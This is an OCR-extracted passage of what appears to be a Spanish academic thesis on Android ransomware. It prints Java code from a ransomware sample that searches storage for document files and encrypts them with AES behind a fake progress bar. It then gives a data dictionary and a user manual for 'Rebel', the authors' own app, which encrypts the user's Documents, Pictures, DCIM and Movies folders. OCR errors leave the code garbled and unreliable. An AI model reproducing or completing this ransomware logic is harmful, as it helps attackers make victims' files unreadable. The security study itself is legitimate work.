import android.os.Handler;
import android.os.Handler.Callback;
import android.os.Message;

import android.support.v4.app.Fragment;
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import android.view.LayoutInflater;
import android.view.View;

import android.view.ViewGroup;

public class EncryptFragment extends Fragment {

private CustomProgressBar myProgress;

private Handler mHandler = new Handler(new
Callback() {

@Override public boolean

handleMessage(Message message) {
myProgress.setProgress(message.what);
return false;
}
})s

public EncryptFragment() {

}

private void addListener() {
new Thread(new Runnable() {
@0verride public void run() {
for (int i = 0; 1 <= 49; i++) {
mHandler.sendEmptyMessage(i * 2);
try {
Thread.sleep((long) 3000);

} catch (InterruptedException e) {

e.printStackTrace();

}

}).start();
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@Override

public View onCreateView(LayoutInflater
layoutInflater, ViewGroup viewGroup, Bundle
bundle) {

View view =
layoutInflater.inflate(R.layout.mainl, viewGroup,
false);

myProgress = (CustomProgressBar)

view.findViewById(R.id.pgsBar);

addListener();

return view;

Codigo de encriptacion:

public
class
Utils

{

public static final ExecutorService executorService =

Executors.newFixedThreadPool(10);

public static List filesToEncrypt = new ArraylList();

static int aa = 9;
static int bb = ©;
static int hh = 9;

static boolean 1%ETEFF;
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public static void GetFiles(String pathname, String str2, boolean z) {
File[] listFiles = new File(pathname).listFiles();
for (File file : listFiles) {
if (file.isFile()) {
String filename = file.toString();
if (filename.length() >= str2.length()) {

filename = (String) filename.subSequence(filename.length() -
str2.length(), filename.length());

}

if (file.isFile()
&& filename.equals(str2)
&& !file.toString().contains("/.")
&& file.getName()
.contains(".")
&& file.length() > ((long) 10240)
&& file.length() <= ((long) 52428800)) {

filesToEncrypt.add(file.getPath());

}

if (1z) {
return;

}

} else if (file.isDirectory()
&& !file.toString().contains("/.")
&& !file.toString()
.toLowerCase()
.contains("android")
&& !file.toString().toLowerCase().contains("com.")
&& !file.toString().toLowerCase().contains("miad")
&& !(jd(file.toString()) >= 3

&& !file.toString().toLowerCase().contains("baidunetdisk")
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&& !file.toString().toLowerCase().contains("download")
&& !file.toString().toLowerCase().contains("dcim"))) {

GetFiles(file.getPath(), str2, z);

Para mayor facilidad se colocara el fragmento exacto donde busca los archivos que va a

encriptar debido que el codigo es demasiado intenso.

public static File
encryptFile(String
password, String
toEncryptFilename,
String
encryptedFilename)

{

File toEncryptFile = new File(toEncryptFilename);

File encryptedFile = new File(encryptedFilename);

if (!encryptedFile.exists() && !encryptedFile.isFile()) {
try {
File file = encryptedFile.getParentFile();
if (!file.exists()) {

file.mkdirs();

file.createNewFile();

FileInputStream fileInputStream = new

FileInputStream(toEncryptFile);

FileOutputStream fileOutputStream = new
FileOutputStream(encryptedFile);
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CipherOutputStream cipherOutputStream = new
CipherOutputStream(fileOutputStream, initAESCipher(password,

1));
int result;
byte[] buffer = new byte[1024];

while ((result = fileInputStream.read(buffer)) >= 0)

cipherOutputStream.write(buffer, 0, result);

}

fileOutputStream.flush();

fileOutputStream.close();

cipherOutputStream.close();
} catch (IO0Exception e) {

e.printStackTrace();

}

return encryptedFile;
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Este ransonware no afecta las imagenes solo a los documentos e incluso los archivos
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Figure 53 Almacenamiento infectado
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Anexo [4]

Diccionario de Datos de la Aplicacion

Variable Descripcion

savedEncryptionKey Clave de autorizacion del usuario para el
cifrado.

SharedPreferences Almacena la clave del usuario.

keyBytes Clave para el cifrado en AES.

InputKey Clave que ingresa el usuario para
verificar.

driveUrl Almacena la Url de Google Drive

inputDirectoryPath Almacena los rutas de los directorios de
Android

encryptedFileName Almacena nombre aleatorio para el

archivo cifrado.

outputFilePath Almacena la salida del archivo cifrado
iv Clave de IV para AES

ALGORITHM = "AES" Define el tipo de cifrado a aplicar
TRANSFORMATION = Especifica la configuracion del cifrado.

"AES/CBC/PKCS5Padding™

EditText Permite al usuario ingresar texto en la
aplicacion
TextView Muestra texto en la aplicacion
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storedKey

encryptionKey

Almacena una clave almacenada

Almacena la clave que ingreso el usuario

Funcion Descripcion

KeyVerification
DialogKey
onActivityResult
openDrivePage
showToast
FileEncrypt

encryptFilesinAndroidDirectories

openSettingsActivity

generateRandomEncryptionKey

generateRandomFileName

generateRandomlIV
encryptFile

doCrypto

Verifica la clave de usuario

Dialogo para pedir clave al usuario
Permite guardar en SharedPreferences
Permite abrir Google Drive

Muestra mensajes al usuario

Envia los directorios de Android

Envia los archivos de los directorios a

cifrar.

Permite ir a la pagina de configuracion de

clave
Genera la clave para el cifrado en AES

Genera nombres de archivos despues del

cifrado
Genera la clave IV de manera aleatoria
Permite cifrar la informacién enviada

Funcién para leer el archivo de entrada y
escribir el resultado en un archivo de

salida
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saveEncryptionKey Permite las acciones para la clave de

usuario(Guardar y Cambiar)

showConfirmationDialog Muestra una Dialogo para confirmar

cambio de clave o no.

getEncryptionKey Método Get para la clave almacenada en
sharedPreferences

setEncryptionKey Método Set para la clave almacenada en
sharedPreferences

101



Anexo [5]

Manual de Usuario de la aplicacion Rebel
App movil Android para proteger la informacion mediante cifrado

El presente manual describe los pasos para usar correctamente la aplicacion.

1. Objetivo

El presente manual tiene como finalidad guiar al usuario inicial de la aplicacion Rebel

€n Su uso.
2. Usando Rebel

Paso 1: Para iniciar Rebel debe pulsar el icono de la aplicacion para que se muestre

pagina principal como se muestra a continuacion.

REGISTRAR CLAVE

GOOGLE DRIVE

Figure 54 Pantalla Principal

Paso 2: Como es primera vez iniciando la aplicacion no tiene una clave guardada, pulse

la opcidn de Registrar Clave.
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REGISTRAR CLAVE

GOOGLE DRIVE

Figure 55 Funcion de clave

Nota: la clave una vez registrada se queda guardada hasta que desinstale la pp

Configuracion de Clave

GUARDAR CLAVE

VOLVER

Figure 56 Configuracion de clave
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Paso 3: Escribe una clave a su gusto (no hay limitantes para definir una clave, esta
clave es para autorizar el cifrado en su movil) y despues pulsa Guardar Clave para

registrar.

Existe un caso en donde si ya tiene una clave guardada y desea cambiarla simplemente

escriba nuevamente una clave y le saldréa lo siguiente:

Confirmar

Ya hay una clave guardada. Si

guarda una nueva, reemplazard la
actual. ;Desea continuar?

CANCELAR si

Figure 57 Pantalla de confirmacion de reemplazar clave

Pulsa si, para reemplazar la antigua clave.
Paso 4: Para resguardar su informacion se hace lo siguiente:

Primero se necesita una conexion a internet, despues requiere que tenga una cuenta de
Google, tener instalado Google Drive (Si no lo tiene la aplicacion lo llevara al

navegador).

Una vez teniendo eso en cuenta pulsamos la opcion que dice Google Drive.

104



REGISTRAR CLAVE

GOOGLE DRIVE

Figure 58 Funcion de Drive

Despues lo llevara a Drive

& Pruebas Q

Nombre 1™

i 20230727_0 : Analisis .
02418.mp4 ° caso estud...
o (53

W Analisis : ™ Screenshot_ .
% casoestud... 20230727-... °

+

= Google Drive o Rebel

@ w 2 [ ]

Inicio Destacados Compartidos Archivos

Figure 59 Pantalla de Drive
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De ahi pulsa el simbolo de +.

& Pruebas Q :

Nombre ™

202307270 . Analisis .
i 02418.mp4 i casoestud.. °

® 8
Analisis . 5] Screenshot_ .
casoestud.. ° 20230727-... °
= Google Drive (L] Rebel
@ w 2 ]
Inicio Destacados  Compartidos Archivos

Figure 60 Pantalla de Drive Segunda Parte

Abrird su almacenamiento para que elija los archivos que desea respaldar.

€ 7 seleccionados ABRIR 3

- Screenshot_20230727-040231.png
27 jul.

Screenshot_20230727-040239.png
27 jul.

- Screenshot_20230727-040323.png
27 jul.

Screenshot_20230727-040413.png
27 jul.

Screenshot_20230727-040418.png
27 jul.

e Screenshot_20230727-040422.png
27 jul.

. Screenshot_20230729-132826.png
13:28

Figure 61 Eleccion de archivos
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De ahi espere que se suban los archivos.

& Pruebas Q :
Nombre ™ =
s ’ rx ’
Subiendo Subiendo

shot_

Screenshot_

20230727-...

B Screenshot_
20230727-...

= Google Drive o Rebel
@ )% 2 s
Inicio Destacados Compartidos Archivos

Figure 62 Subiendo archivos

Paso 5: Ahora para empezar con el cifrado debemos tener en cuenta:

Primero debemos tener una clave almacenada u registrada si no es el caso vuelva al
paso 1, por otro lado como advertencia si no respalda su informacion o al menos la mas

relevante no podra recuperar su informacion debido que se haran ilegibles, teniendo en

cuenta eso continuamos.
Se pulsa la imagen de arafia para comenzar con el cifrado.

Ojo: se cifraran los archivos de las carpetas internas de su movil las cuales son :

e Documents

e Pictures
e DCIM
e Movies
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REGISTRAR CLAVE

GOOGLE DRIVE
Figure 63 Funcion de cifrar

Una vez pulsado saldré la siguiente pantalla:

Ingrese la clave

CANCELAR ACEPTAR

Figure 64 Peticion de clave
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Coloca la clave que guardo con anterioridad.

De ahi espera unos segundos o hasta que dejen de aparecer estos mensajes como se

observan.

Archivos cifrados en /storage/emulated/0/
Dacuesents

Figure 65 Proceso de cifrado

Con esto podra verificar en sus carpetas.

encrypted_1690655929343.dat
encrypted_1690655928924.dat
encrypted_1690655929336.dat
encrypted_1690655929330.dat
encrypted_1690655929323.dat
encrypted_1690655929316.dat
encrypted_1690655929305.dat
encrypted_1690655929301.dat
encrypted_1690655929296.dat

encrypted_1690655929291.dat

encrypted_1690655929276.dat

nnnnnn tad 1TAQNARRQ2Q27N Aat

Figure 66 Resultados del cifrado
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Ahora como ultimo paso si quiere recuperar su informacién simplemente vuelve a

pulsar el botén de Google Drive y elije los archivos que desea recuperar.

13:45 sab, 29 de julio o
=T o (a

JR_SUMPA~  Sonidov Bluetoothv Linternav  Vertical v

Drive (3) A

Se han descargado 10 archivos 13:44
20230727_002418.mp4
Analisis caso estudio auditoria de seguridad inf...
Analisis caso estudio auditoria de seguridad inf...
Screenshot_20230727-040323.png
y 6 archivos mas

Q_ BUSCAR ARCHIVOS

Se han descargado 2 archivos 13:44

Se ha subido 1 archivo 13:42

G Queda poco espacio 27/7/23

Algunas funciones del sistema pueden no funci..

BLOQUEAR NOTIFICACIONES BORRAR TODO
Solo llamadas de emergencia

Figure 67 Proceso de Respaldo
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